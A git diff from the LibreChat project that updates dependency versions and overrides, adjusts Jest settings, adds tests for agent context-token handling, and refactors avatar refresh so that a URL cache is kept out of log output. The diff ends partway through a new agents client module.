"resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-27.5.1.tgz", @@ -45353,13 +46093,13 @@ } }, "packages/client/node_modules/rimraf": { - "version": "6.1.2", - "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-6.1.2.tgz", - "integrity": "sha512-cFCkPslJv7BAXJsYlK1dZsbP8/ZNLkCAQ0bi1hf5EKX2QHegmDFEFA6QhuYJlk7UDdc+02JjO80YSOrWPpw06g==", + "version": "6.1.3", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-6.1.3.tgz", + "integrity": "sha512-LKg+Cr2ZF61fkcaK1UdkH2yEBBKnYjTyWzTJT6KNPcSPaiT7HSdhtMXQuN5wkTX0Xu72KQ1l8S42rlmexS2hSA==", "dev": true, "license": "BlueOak-1.0.0", "dependencies": { - "glob": "^13.0.0", + "glob": "^13.0.3", "package-json-from-dist": "^1.0.1" }, "bin": { @@ -45382,42 +46122,6 @@ "semver": "bin/semver.js" } }, - "packages/client/node_modules/slash": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz", - "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "packages/client/node_modules/tough-cookie": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-5.1.2.tgz", - "integrity": "sha512-FVDYdxtnj0G6Qm/DhNPSb8Ju59ULcup3tuJxkFb5K8Bv2pUXILbf0xZWU8PX8Ov19OXljbUyveOFwRMwkXzO+A==", - "dev": true, - "license": "BSD-3-Clause", - "dependencies": { - "tldts": "^6.1.32" - }, - "engines": { - "node": ">=16" - } - }, - "packages/client/node_modules/tr46": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/tr46/-/tr46-5.1.1.tgz", - "integrity": "sha512-hdF5ZgjTqgAntKkklYw0R03MG2x/bSzTtkxmIRw/sTNV8YXsCJ1tfLAX23lhxhHJlEf3CRCOCGGWw3vI3GaSPw==", - "dev": true, - "license": "MIT", - "dependencies": { - "punycode": "^2.3.1" - }, - "engines": { - "node": ">=18" - } - }, "packages/client/node_modules/unicode-match-property-value-ecmascript": { "version": "2.2.1", "resolved": "https://registry.npmjs.org/unicode-match-property-value-ecmascript/-/unicode-match-property-value-ecmascript-2.2.1.tgz", @@ -45428,72 +46132,12 @@ "node": ">=4" } }, - "packages/client/node_modules/w3c-xmlserializer": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/w3c-xmlserializer/-/w3c-xmlserializer-5.0.0.tgz", - "integrity": "sha512-o8qghlI8NZHU1lLPrpi2+Uq7abh4GGPpYANlalzWxyWteJOCsr/P+oPBA49TOLu5FTZO4d3F9MnWJfiMo4BkmA==", - "dev": true, - "license": "MIT", - "dependencies": { - "xml-name-validator": "^5.0.0" - }, - "engines": { - "node": ">=18" - } - }, - "packages/client/node_modules/whatwg-encoding": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/whatwg-encoding/-/whatwg-encoding-3.1.1.tgz", - "integrity": "sha512-6qN4hJdMwfYBtE3YBTTHhoeuUrDBPZmbQaxWAqSALV/MeEnR5z1xd8UKud2RAkFoPkmB+hli1TZSnyi84xz1vQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "iconv-lite": "0.6.3" - }, - "engines": { - "node": ">=18" - } - }, - "packages/client/node_modules/whatwg-mimetype": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-4.0.0.tgz", - "integrity": "sha512-QaKxh0eNIi2mE9p2vEdzfagOKHCcj1pJ56EEHGQOVxp8r9/iszLUUV7v89x9O1p/T+NlTM5W7jW6+cz4Fq1YVg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=18" - } - }, - "packages/client/node_modules/whatwg-url": { - "version": "14.2.0", - "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-14.2.0.tgz", - "integrity": "sha512-De72GdQZzNTUBBChsXueQUnPKDkg/5A5zp7pFDuQAj5UFoENpiACU0wlCvzpAGnTkj++ihpKwKyYewn/XNUbKw==", - "dev": true, - "license": "MIT", - "dependencies": { - "tr46": "^5.1.0", - "webidl-conversions": "^7.0.0" - }, - "engines": { - "node": ">=18" - } - }, - "packages/client/node_modules/xml-name-validator": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-5.0.0.tgz", - "integrity": "sha512-EvGK8EJ3DhaHfbRlETOWAS5pO9MZITeauHKJyb8wyajUfQUenkIg2MvLDTZ4T/TgIcm3HU0TFBgWWboAZ30UHg==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": ">=18" - } - }, "packages/data-provider": { "name": "librechat-data-provider", - "version": "0.8.231", + "version": "0.8.302", "license": "ISC", "dependencies": { - "axios": "^1.12.1", + "axios": "^1.13.5", "dayjs": "^1.11.13", "js-yaml": "^4.1.1", "zod": "^3.22.4" @@ -45516,8 +46160,8 @@ "jest": "^30.2.0", "jest-junit": "^16.0.0", "openapi-types": "^12.1.3", - "rimraf": "^6.1.2", - "rollup": "^4.22.4", + "rimraf": "^6.1.3", + "rollup": "^4.34.9", "rollup-plugin-peer-deps-external": "^2.2.4", "rollup-plugin-typescript2": "^0.35.0", "typescript": "^5.0.4" @@ -45527,13 +46171,13 @@ } }, "packages/data-provider/node_modules/rimraf": { - "version": "6.1.2", - "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-6.1.2.tgz", - "integrity": "sha512-cFCkPslJv7BAXJsYlK1dZsbP8/ZNLkCAQ0bi1hf5EKX2QHegmDFEFA6QhuYJlk7UDdc+02JjO80YSOrWPpw06g==", + "version": "6.1.3", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-6.1.3.tgz", + "integrity": "sha512-LKg+Cr2ZF61fkcaK1UdkH2yEBBKnYjTyWzTJT6KNPcSPaiT7HSdhtMXQuN5wkTX0Xu72KQ1l8S42rlmexS2hSA==", "dev": true, "license": "BlueOak-1.0.0", "dependencies": { - "glob": "^13.0.0", + "glob": "^13.0.3", "package-json-from-dist": "^1.0.1" }, "bin": { @@ -45548,7 +46192,7 @@ }, "packages/data-schemas": { "name": "@librechat/data-schemas", - "version": "0.0.35", + "version": "0.0.38", "license": "MIT", "devDependencies": { "@rollup/plugin-alias": "^5.1.0", @@ -45564,8 +46208,8 @@ "jest": "^30.2.0", "jest-junit": "^16.0.0", "mongodb-memory-server": "^10.1.4", - "rimraf": "^6.1.2", - "rollup": "^4.22.4", + "rimraf": "^6.1.3", + "rollup": "^4.34.9", "rollup-plugin-peer-deps-external": "^2.2.4", "rollup-plugin-typescript2": "^0.35.0", "ts-node": "^10.9.2", @@ -45610,13 +46254,13 @@ } }, "packages/data-schemas/node_modules/rimraf": { - "version": "6.1.2", - "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-6.1.2.tgz", - "integrity": "sha512-cFCkPslJv7BAXJsYlK1dZsbP8/ZNLkCAQ0bi1hf5EKX2QHegmDFEFA6QhuYJlk7UDdc+02JjO80YSOrWPpw06g==", + "version": "6.1.3", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-6.1.3.tgz", + "integrity": "sha512-LKg+Cr2ZF61fkcaK1UdkH2yEBBKnYjTyWzTJT6KNPcSPaiT7HSdhtMXQuN5wkTX0Xu72KQ1l8S42rlmexS2hSA==", "dev": true, "license": "BlueOak-1.0.0", "dependencies": { - "glob": "^13.0.0", + "glob": "^13.0.3", "package-json-from-dist": "^1.0.1" }, "bin": { diff --git a/package.json b/package.json index 01c2074567..ecbede482e 100644 --- a/package.json +++ b/package.json @@ -1,7 +1,8 @@ { "name": "LibreChat", - "version": "v0.8.2", + "version": "v0.8.3", "description": "", + "packageManager": "npm@11.10.0", "workspaces": [ "api", "client", @@ -15,6 +16,7 @@ "user-stats": "node config/user-stats.js", "rebuild:package-lock": "node config/packages", "reinstall": "node config/update.js -l -g", + "smart-reinstall": "node config/smart-reinstall.js", "b:reinstall": "bun config/update.js -b -l -g", "reinstall:docker": "node config/update.js -d -g", "update:local": "node config/update.js -l", @@ -36,7 +38,7 @@ "update-banner": "node config/update-banner.js", "delete-banner": "node config/delete-banner.js", "backend": "cross-env NODE_ENV=production node api/server/index.js", - "backend:inspect": "cross-env NODE_ENV=production node --inspect api/server/index.js", + "backend:inspect": "cross-env NODE_ENV=production node --inspect --expose-gc api/server/index.js", "backend:dev": "cross-env NODE_ENV=development npx nodemon api/server/index.js", "backend:experimental": "cross-env NODE_ENV=production node api/server/experimental.js", "backend:stop": "node config/stop-backend.js", @@ -46,6 +48,7 @@ "build:client": "cd client && npm run build", "build:client-package": "cd packages/client && npm run build", "build:packages": "npm run build:data-provider && npm run build:data-schemas && npm run build:api && npm run build:client-package", + "build": "npx turbo run build", "frontend": "npm run build:data-provider && npm run build:data-schemas && npm run build:api && npm run build:client-package && cd client && npm run build", "frontend:ci": "npm run build:data-provider && npm run build:client-package && cd client && npm run build:ci", "frontend:dev": "cd client && npm run dev", @@ -104,7 +107,7 @@ "devDependencies": { "@axe-core/playwright": "^4.10.1", "@eslint/compat": "^1.2.6", - "@eslint/eslintrc": "^3.3.1", + "@eslint/eslintrc": "^3.3.4", "@eslint/js": "^9.20.0", "@playwright/test": "^1.56.1", "@types/react-virtualized": "^9.22.0", @@ -128,11 +131,22 @@ "lint-staged": "^15.4.3", "prettier": "^3.5.0", "prettier-plugin-tailwindcss": "^0.6.11", + "turbo": "^2.8.12", "typescript-eslint": "^8.24.0" }, "overrides": { + "@anthropic-ai/sdk": "0.73.0", + "@librechat/agents": { + "@langchain/anthropic": { + "@anthropic-ai/sdk": "0.73.0", + "fast-xml-parser": "5.3.8" + }, + "@anthropic-ai/sdk": "0.73.0", + "fast-xml-parser": "5.3.8" + }, "axios": "1.12.1", "elliptic": "^6.6.1", + "fast-xml-parser": "5.3.8", "form-data": "^4.0.4", "tslib": "^2.8.1", "mdast-util-gfm-autolink-literal": "2.0.0", @@ -150,7 +164,19 @@ "micromark-extension-math": { "katex": "^0.16.21" } - } + }, + "langsmith": "0.4.12", + "eslint": { + "ajv": "6.14.0" + }, + "underscore": "1.13.8", + "hono": "^4.12.4", + "@hono/node-server": "^1.19.10", + "monaco-editor": { + "dompurify": "3.3.2" + }, + "serialize-javascript": "^7.0.3", + "svgo": "^2.8.2" }, "nodemonConfig": { "ignore": [ diff --git a/packages/api/jest.config.mjs b/packages/api/jest.config.mjs index 10fa4554e4..df9cf6bcc2 100644 --- a/packages/api/jest.config.mjs +++ b/packages/api/jest.config.mjs @@ -7,9 +7,21 @@ export default { '\\.dev\\.ts$', '\\.helper\\.ts$', '\\.helper\\.d\\.ts$', + '/__tests__/helpers/', ], coverageReporters: ['text', 'cobertura'], testResultsProcessor: 'jest-junit', + transform: { + '\\.[jt]sx?$': [ + 'babel-jest', + { + presets: [ + ['@babel/preset-env', { targets: { node: 'current' } }], + '@babel/preset-typescript', + ], + }, + ], + }, moduleNameMapper: { '^@src/(.*)$': '/src/$1', '~/(.*)': '/src/$1', @@ -22,6 +34,7 @@ export default { // lines: 57, // }, // }, + maxWorkers: '50%', restoreMocks: true, testTimeout: 15000, }; diff --git a/packages/api/package.json b/packages/api/package.json index 8c90abd704..77258fc0b3 100644 --- a/packages/api/package.json +++ b/packages/api/package.json @@ -1,6 +1,6 @@ { "name": "@librechat/api", - "version": "1.7.22", + "version": "1.7.25", "type": "commonjs", "description": "MCP services for LibreChat", "main": "dist/index.js", @@ -18,8 +18,8 @@ "build:dev": "npm run clean && NODE_ENV=development rollup -c --bundleConfigAsCjs", "build:watch": "NODE_ENV=development rollup -c -w --bundleConfigAsCjs", "build:watch:prod": "rollup -c -w --bundleConfigAsCjs", - "test": "jest --coverage --watch --testPathIgnorePatterns=\"\\.*integration\\.|\\.*helper\\.\"", - "test:ci": "jest --coverage --ci --testPathIgnorePatterns=\"\\.*integration\\.|\\.*helper\\.\"", + "test": "jest --coverage --watch --testPathIgnorePatterns=\"\\.*integration\\.|\\.*helper\\.|__tests__/helpers/\"", + "test:ci": "jest --coverage --ci --testPathIgnorePatterns=\"\\.*integration\\.|\\.*helper\\.|__tests__/helpers/\"", "test:cache-integration:core": "jest --testPathPatterns=\"src/cache/.*\\.cache_integration\\.spec\\.ts$\" --coverage=false", "test:cache-integration:cluster": "jest --testPathPatterns=\"src/cluster/.*\\.cache_integration\\.spec\\.ts$\" --coverage=false --runInBand", "test:cache-integration:mcp": "jest --testPathPatterns=\"src/mcp/.*\\.cache_integration\\.spec\\.ts$\" --coverage=false", @@ -67,31 +67,35 @@ "jest": "^30.2.0", "jest-junit": "^16.0.0", "librechat-data-provider": "*", + "mammoth": "^1.11.0", "mongodb": "^6.14.2", - "rimraf": "^6.1.2", - "rollup": "^4.22.4", + "pdfjs-dist": "^5.4.624", + "rimraf": "^6.1.3", + "rollup": "^4.34.9", "rollup-plugin-peer-deps-external": "^2.2.4", "ts-node": "^10.9.2", - "typescript": "^5.0.4" + "typescript": "^5.0.4", + "xlsx": "https://cdn.sheetjs.com/xlsx-0.20.3/xlsx-0.20.3.tgz" }, "publishConfig": { "registry": "https://registry.npmjs.org/" }, "peerDependencies": { - "@anthropic-ai/vertex-sdk": "^0.14.0", - "@aws-sdk/client-bedrock-runtime": "^3.941.0", - "@aws-sdk/client-s3": "^3.758.0", + "@anthropic-ai/vertex-sdk": "^0.14.3", + "@aws-sdk/client-bedrock-runtime": "^3.970.0", + "@aws-sdk/client-s3": "^3.980.0", "@azure/identity": "^4.7.0", "@azure/search-documents": "^12.0.0", - "@azure/storage-blob": "^12.27.0", + "@azure/storage-blob": "^12.30.0", "@google/genai": "^1.19.0", "@keyv/redis": "^4.3.3", "@langchain/core": "^0.3.80", - "@librechat/agents": "^3.0.776", + "@librechat/agents": "^3.1.55", "@librechat/data-schemas": "*", - "@modelcontextprotocol/sdk": "^1.25.3", + "@modelcontextprotocol/sdk": "^1.27.1", "@smithy/node-http-handler": "^4.4.5", - "axios": "^1.12.1", + "ai-tokenizer": "^1.0.6", + "axios": "^1.13.5", "connect-redis": "^8.1.0", "eventsource": "^3.0.2", "express": "^5.1.0", @@ -106,13 +110,14 @@ "keyv": "^5.3.2", "keyv-file": "^5.1.2", "librechat-data-provider": "*", + "mammoth": "^1.11.0", "mathjs": "^15.1.0", "memorystore": "^1.6.7", "mongoose": "^8.12.1", "node-fetch": "2.7.0", + "pdfjs-dist": "^5.4.624", "rate-limit-redis": "^4.2.0", - "tiktoken": "^1.0.15", - "undici": "^7.18.2", + "undici": "^7.24.1", "zod": "^3.22.4" } } diff --git a/packages/api/src/agents/__tests__/initialize.test.ts b/packages/api/src/agents/__tests__/initialize.test.ts new file mode 100644 index 0000000000..01310a09c4 --- /dev/null +++ b/packages/api/src/agents/__tests__/initialize.test.ts @@ -0,0 +1,284 @@ +import { Providers } from '@librechat/agents'; +import { EModelEndpoint } from 'librechat-data-provider'; +import type { Agent } from 'librechat-data-provider'; +import type { ServerRequest, InitializeResultBase } from '~/types'; +import type { InitializeAgentDbMethods } from '../initialize'; + +// Mock logger +jest.mock('winston', () => ({ + createLogger: jest.fn(() => ({ + debug: jest.fn(), + warn: jest.fn(), + error: jest.fn(), + })), + format: { + combine: jest.fn(), + colorize: jest.fn(), + simple: jest.fn(), + }, + transports: { + Console: jest.fn(), + }, +})); + +const mockExtractLibreChatParams = jest.fn(); +const mockGetModelMaxTokens = jest.fn(); +const mockOptionalChainWithEmptyCheck = jest.fn(); +const mockGetThreadData = jest.fn(); + +jest.mock('~/utils', () => ({ + extractLibreChatParams: (...args: unknown[]) => mockExtractLibreChatParams(...args), + getModelMaxTokens: (...args: unknown[]) => mockGetModelMaxTokens(...args), + optionalChainWithEmptyCheck: (...args: unknown[]) => mockOptionalChainWithEmptyCheck(...args), + getThreadData: (...args: unknown[]) => mockGetThreadData(...args), +})); + +const mockGetProviderConfig = jest.fn(); +jest.mock('~/endpoints', () => ({ + getProviderConfig: (...args: unknown[]) => mockGetProviderConfig(...args), +})); + +jest.mock('~/files', () => ({ + filterFilesByEndpointConfig: jest.fn(() => []), +})); + +jest.mock('~/prompts', () => ({ + generateArtifactsPrompt: jest.fn(() => null), +})); + +jest.mock('../resources', () => ({ + primeResources: jest.fn().mockResolvedValue({ + attachments: [], + tool_resources: undefined, + }), +})); + +import { initializeAgent } from '../initialize'; + +/** + * Creates minimal mock objects for initializeAgent tests. + */ +function createMocks(overrides?: { + maxContextTokens?: number; + modelDefault?: number; + maxOutputTokens?: number; +}) { + const { maxContextTokens, modelDefault = 200000, maxOutputTokens = 4096 } = overrides ?? {}; + + const agent = { + id: 'agent-1', + model: 'test-model', + provider: Providers.OPENAI, + tools: [], + model_parameters: { model: 'test-model' }, + } as unknown as Agent; + + const req = { + user: { id: 'user-1' }, + config: {}, + } as unknown as ServerRequest; + + const res = {} as unknown as import('express').Response; + + const mockGetOptions = jest.fn().mockResolvedValue({ + llmConfig: { + model: 'test-model', + maxTokens: maxOutputTokens, + }, + endpointTokenConfig: undefined, + } satisfies InitializeResultBase); + + mockGetProviderConfig.mockReturnValue({ + getOptions: mockGetOptions, + overrideProvider: Providers.OPENAI, + }); + + // extractLibreChatParams returns maxContextTokens when provided in model_parameters + mockExtractLibreChatParams.mockReturnValue({ + resendFiles: false, + maxContextTokens, + modelOptions: { model: 'test-model' }, + }); + + // getModelMaxTokens returns the model's default context window + mockGetModelMaxTokens.mockReturnValue(modelDefault); + + // Implement real optionalChainWithEmptyCheck behavior + mockOptionalChainWithEmptyCheck.mockImplementation( + (...values: (string | number | undefined)[]) => { + for (const v of values) { + if (v !== undefined && v !== null && v !== '') { + return v; + } + } + return values[values.length - 1]; + }, + ); + + const loadTools = jest.fn().mockResolvedValue({ + tools: [], + toolContextMap: {}, + userMCPAuthMap: undefined, + toolRegistry: undefined, + toolDefinitions: [], + hasDeferredTools: false, + }); + + const db: InitializeAgentDbMethods = { + getFiles: jest.fn().mockResolvedValue([]), + getConvoFiles: jest.fn().mockResolvedValue([]), + updateFilesUsage: jest.fn().mockResolvedValue([]), + getUserKey: jest.fn().mockResolvedValue('user-1'), + getUserKeyValues: jest.fn().mockResolvedValue([]), + getToolFilesByIds: jest.fn().mockResolvedValue([]), + }; + + return { agent, req, res, loadTools, db }; +} + +describe('initializeAgent — maxContextTokens', () => { + beforeEach(() => { + jest.clearAllMocks(); + }); + + it('uses user-configured maxContextTokens when provided via model_parameters', async () => { + const userValue = 50000; + const { agent, req, res, loadTools, db } = createMocks({ + maxContextTokens: userValue, + modelDefault: 200000, + maxOutputTokens: 4096, + }); + + const result = await initializeAgent( + { + req, + res, + agent, + loadTools, + endpointOption: { + endpoint: EModelEndpoint.agents, + model_parameters: { maxContextTokens: userValue }, + }, + allowedProviders: new Set([Providers.OPENAI]), + isInitialAgent: true, + }, + db, + ); + + expect(result.maxContextTokens).toBe(userValue); + }); + + it('falls back to formula when maxContextTokens is NOT provided', async () => { + const modelDefault = 200000; + const maxOutputTokens = 4096; + const { agent, req, res, loadTools, db } = createMocks({ + maxContextTokens: undefined, + modelDefault, + maxOutputTokens, + }); + + const result = await initializeAgent( + { + req, + res, + agent, + loadTools, + endpointOption: { endpoint: EModelEndpoint.agents }, + allowedProviders: new Set([Providers.OPENAI]), + isInitialAgent: true, + }, + db, + ); + + const expected = Math.round((modelDefault - maxOutputTokens) * 0.9); + expect(result.maxContextTokens).toBe(expected); + }); + + it('falls back to formula when maxContextTokens is 0', async () => { + const maxOutputTokens = 4096; + const { agent, req, res, loadTools, db } = createMocks({ + maxContextTokens: 0, + modelDefault: 200000, + maxOutputTokens, + }); + + const result = await initializeAgent( + { + req, + res, + agent, + loadTools, + endpointOption: { + endpoint: EModelEndpoint.agents, + model_parameters: { maxContextTokens: 0 }, + }, + allowedProviders: new Set([Providers.OPENAI]), + isInitialAgent: true, + }, + db, + ); + + // 0 is not used as-is; the formula kicks in. + // optionalChainWithEmptyCheck(0, 200000, 18000) returns 0 (not null/undefined), + // then Number(0) || 18000 = 18000 (the fallback default). + expect(result.maxContextTokens).not.toBe(0); + const expected = Math.round((18000 - maxOutputTokens) * 0.9); + expect(result.maxContextTokens).toBe(expected); + }); + + it('falls back to formula when maxContextTokens is negative', async () => { + const maxOutputTokens = 4096; + const { agent, req, res, loadTools, db } = createMocks({ + maxContextTokens: -1, + modelDefault: 200000, + maxOutputTokens, + }); + + const result = await initializeAgent( + { + req, + res, + agent, + loadTools, + endpointOption: { + endpoint: EModelEndpoint.agents, + model_parameters: { maxContextTokens: -1 }, + }, + allowedProviders: new Set([Providers.OPENAI]), + isInitialAgent: true, + }, + db, + ); + + // -1 is not used as-is; the formula kicks in + expect(result.maxContextTokens).not.toBe(-1); + }); + + it('preserves small user-configured value (e.g. 1000 from modelSpec)', async () => { + const userValue = 1000; + const { agent, req, res, loadTools, db } = createMocks({ + maxContextTokens: userValue, + modelDefault: 128000, + maxOutputTokens: 4096, + }); + + const result = await initializeAgent( + { + req, + res, + agent, + loadTools, + endpointOption: { + endpoint: EModelEndpoint.agents, + model_parameters: { maxContextTokens: userValue }, + }, + allowedProviders: new Set([Providers.OPENAI]), + isInitialAgent: true, + }, + db, + ); + + // Should NOT be overridden to Math.round((128000 - 4096) * 0.9) = 111,514 + expect(result.maxContextTokens).toBe(userValue); + }); +}); diff --git a/packages/api/src/agents/__tests__/memory.test.ts b/packages/api/src/agents/__tests__/memory.test.ts index 74cd0f4354..dabe6de629 100644 --- a/packages/api/src/agents/__tests__/memory.test.ts +++ b/packages/api/src/agents/__tests__/memory.test.ts @@ -22,8 +22,9 @@ jest.mock('winston', () => ({ })); // Mock the Tokenizer -jest.mock('~/utils', () => ({ - Tokenizer: { +jest.mock('~/utils/tokenizer', () => ({ + __esModule: true, + default: { getTokenCount: jest.fn((text: string) => text.length), // Simple mock: 1 char = 1 token }, })); diff --git a/packages/api/src/agents/avatars.spec.ts b/packages/api/src/agents/avatars.spec.ts index ac97964837..db82b311ee 100644 --- a/packages/api/src/agents/avatars.spec.ts +++ b/packages/api/src/agents/avatars.spec.ts @@ -7,6 +7,16 @@ import { refreshListAvatars, } from './avatars'; +jest.mock('@librechat/data-schemas', () => ({ + logger: { + debug: jest.fn(), + info: jest.fn(), + error: jest.fn(), + }, +})); + +import { logger } from '@librechat/data-schemas'; + describe('refreshListAvatars', () => { let mockRefreshS3Url: jest.MockedFunction; let mockUpdateAgent: jest.MockedFunction; @@ -15,6 +25,7 @@ describe('refreshListAvatars', () => { beforeEach(() => { mockRefreshS3Url = jest.fn(); mockUpdateAgent = jest.fn(); + jest.clearAllMocks(); }); const createAgent = (overrides: Partial = {}): Agent => ({ @@ -44,6 +55,7 @@ describe('refreshListAvatars', () => { }); expect(stats.updated).toBe(0); + expect(stats.urlCache).toEqual({}); expect(mockRefreshS3Url).not.toHaveBeenCalled(); expect(mockUpdateAgent).not.toHaveBeenCalled(); }); @@ -62,6 +74,7 @@ describe('refreshListAvatars', () => { expect(stats.not_s3).toBe(1); expect(stats.updated).toBe(0); + expect(stats.urlCache).toEqual({}); expect(mockRefreshS3Url).not.toHaveBeenCalled(); }); @@ -109,6 +122,7 @@ describe('refreshListAvatars', () => { }); expect(stats.updated).toBe(1); + expect(stats.urlCache).toEqual({ agent1: 'new-path.jpg' }); expect(mockRefreshS3Url).toHaveBeenCalledWith(agent.avatar); expect(mockUpdateAgent).toHaveBeenCalledWith( { id: 'agent1' }, @@ -130,6 +144,7 @@ describe('refreshListAvatars', () => { expect(stats.no_change).toBe(1); expect(stats.updated).toBe(0); + expect(stats.urlCache).toEqual({}); expect(mockUpdateAgent).not.toHaveBeenCalled(); }); @@ -146,6 +161,7 @@ describe('refreshListAvatars', () => { expect(stats.s3_error).toBe(1); expect(stats.updated).toBe(0); + expect(stats.urlCache).toEqual({}); }); it('should handle database persist errors gracefully', async () => { @@ -162,6 +178,7 @@ describe('refreshListAvatars', () => { expect(stats.persist_error).toBe(1); expect(stats.updated).toBe(0); + expect(stats.urlCache).toEqual({ agent1: 'new-path.jpg' }); }); it('should process agents in batches', async () => { @@ -186,10 +203,49 @@ describe('refreshListAvatars', () => { }); expect(stats.updated).toBe(25); + expect(Object.keys(stats.urlCache)).toHaveLength(25); expect(mockRefreshS3Url).toHaveBeenCalledTimes(25); expect(mockUpdateAgent).toHaveBeenCalledTimes(25); }); + it('should not populate urlCache when refreshS3Url resolves with falsy', async () => { + const agent = createAgent(); + mockRefreshS3Url.mockResolvedValue(undefined); + + const stats = await refreshListAvatars({ + agents: [agent], + userId, + refreshS3Url: mockRefreshS3Url, + updateAgent: mockUpdateAgent, + }); + + expect(stats.no_change).toBe(1); + expect(stats.urlCache).toEqual({}); + expect(mockUpdateAgent).not.toHaveBeenCalled(); + }); + + it('should redact urlCache from log output', async () => { + const agent = createAgent(); + mockRefreshS3Url.mockResolvedValue('new-path.jpg'); + mockUpdateAgent.mockResolvedValue({}); + + await refreshListAvatars({ + agents: [agent], + userId, + refreshS3Url: mockRefreshS3Url, + updateAgent: mockUpdateAgent, + }); + + const loggerInfo = logger.info as jest.Mock; + const summaryCall = loggerInfo.mock.calls.find(([msg]) => + msg.includes('Avatar refresh summary'), + ); + expect(summaryCall).toBeDefined(); + const loggedPayload = summaryCall[1]; + expect(loggedPayload).toHaveProperty('urlCacheSize', 1); + expect(loggedPayload).not.toHaveProperty('urlCache'); + }); + it('should track mixed statistics correctly', async () => { const agents = [ createAgent({ id: 'agent1' }), @@ -214,6 +270,7 @@ describe('refreshListAvatars', () => { expect(stats.updated).toBe(2); // agent1 and agent2 (other user's agent now refreshed) expect(stats.not_s3).toBe(1); // agent3 expect(stats.no_id).toBe(1); // agent with empty id + expect(stats.urlCache).toEqual({ agent1: 'new-path.jpg', agent2: 'new-path.jpg' }); }); }); diff --git a/packages/api/src/agents/avatars.ts b/packages/api/src/agents/avatars.ts index 7c92f352b2..25adfdc717 100644 --- a/packages/api/src/agents/avatars.ts +++ b/packages/api/src/agents/avatars.ts @@ -29,6 +29,8 @@ export type RefreshStats = { no_change: number; s3_error: number; persist_error: number; + /** Maps agentId to the latest valid presigned filepath for re-application on cache hits */ + urlCache: Record; }; /** @@ -55,6 +57,7 @@ export const refreshListAvatars = async ({ no_change: 0, s3_error: 0, persist_error: 0, + urlCache: {}, }; if (!agents?.length) { @@ -86,28 +89,23 @@ export const refreshListAvatars = async ({ logger.debug('[refreshListAvatars] Refreshing S3 avatar for agent: %s', agent._id); const newPath = await refreshS3Url(agent.avatar); - if (newPath && newPath !== agent.avatar.filepath) { - try { - await updateAgent( - { id: agent.id }, - { - avatar: { - filepath: newPath, - source: agent.avatar.source, - }, - }, - { - updatingUserId: userId, - skipVersioning: true, - }, - ); - stats.updated++; - } catch (persistErr) { - logger.error('[refreshListAvatars] Avatar refresh persist error: %o', persistErr); - stats.persist_error++; - } - } else { + if (!newPath || newPath === agent.avatar.filepath) { stats.no_change++; + return; + } + + stats.urlCache[agent.id] = newPath; + + try { + await updateAgent( + { id: agent.id }, + { avatar: { filepath: newPath, source: agent.avatar.source } }, + { updatingUserId: userId, skipVersioning: true }, + ); + stats.updated++; + } catch (persistErr) { + logger.error('[refreshListAvatars] Avatar refresh persist error: %o', persistErr); + stats.persist_error++; } } catch (err) { logger.error('[refreshListAvatars] S3 avatar refresh error: %o', err); @@ -117,6 +115,10 @@ export const refreshListAvatars = async ({ ); } - logger.info('[refreshListAvatars] Avatar refresh summary: %o', stats); + const { urlCache: _urlCache, ...loggableStats } = stats; + logger.info('[refreshListAvatars] Avatar refresh summary: %o', { + ...loggableStats, + urlCacheSize: Object.keys(_urlCache).length, + }); return stats; }; diff --git a/packages/api/src/agents/client.ts b/packages/api/src/agents/client.ts new file mode 100644 index 0000000000..fd5d50f211 --- /dev/null +++ b/packages/api/src/agents/client.ts @@ -0,0 +1,162 @@ +import { logger } from '@librechat/data-schemas'; +import { isAgentsEndpoint } from 'librechat-data-provider'; +import { labelContentByAgent, getTokenCountForMessage } from '@librechat/agents'; +import type { MessageContentComplex } from '@librechat/agents'; +import type { Agent, TMessage } from 'librechat-data-provider'; +import type { BaseMessage } from '@langchain/core/messages'; +import type { ServerRequest } from '~/types'; +import Tokenizer from '~/utils/tokenizer'; +import { logAxiosError } from '~/utils'; + +export const omitTitleOptions = new Set([ + 'stream', + 'thinking', + 'streaming', + 'clientOptions', + 'thinkingConfig', + 'thinkingBudget', + 'includeThoughts', + 'maxOutputTokens', + 'additionalModelRequestFields', +]); + +export function payloadParser({ req, endpoint }: { req: ServerRequest; endpoint: string }) { + if (isAgentsEndpoint(endpoint)) { + return; + } + return req.body?.endpointOption?.model_parameters; +} + +export function createTokenCounter(encoding: Parameters[1]) { + return function (message: BaseMessage) { + const countTokens = (text: string) => Tokenizer.getTokenCount(text, encoding); + return getTokenCountForMessage(message, countTokens); + }; +} + +export function logToolError(_graph: unknown, error: unknown, toolId: string) { + logAxiosError({ + error, + message: `[api/server/controllers/agents/client.js #chatCompletion] Tool Error "${toolId}"`, + }); +} + +const AGENT_SUFFIX_PATTERN = /____(\d+)$/; + +/** Finds the primary agent ID within a set of agent IDs (no suffix or lowest suffix number) */ +export function findPrimaryAgentId(agentIds: Set): string | null { + let primaryAgentId: string | null = null; + let lowestSuffixIndex = Infinity; + + for (const agentId of agentIds) { + const suffixMatch = agentId.match(AGENT_SUFFIX_PATTERN); + if (!suffixMatch) { + return agentId; + } + const suffixIndex = parseInt(suffixMatch[1], 10); + if (suffixIndex < lowestSuffixIndex) { + lowestSuffixIndex = suffixIndex; + primaryAgentId = agentId; + 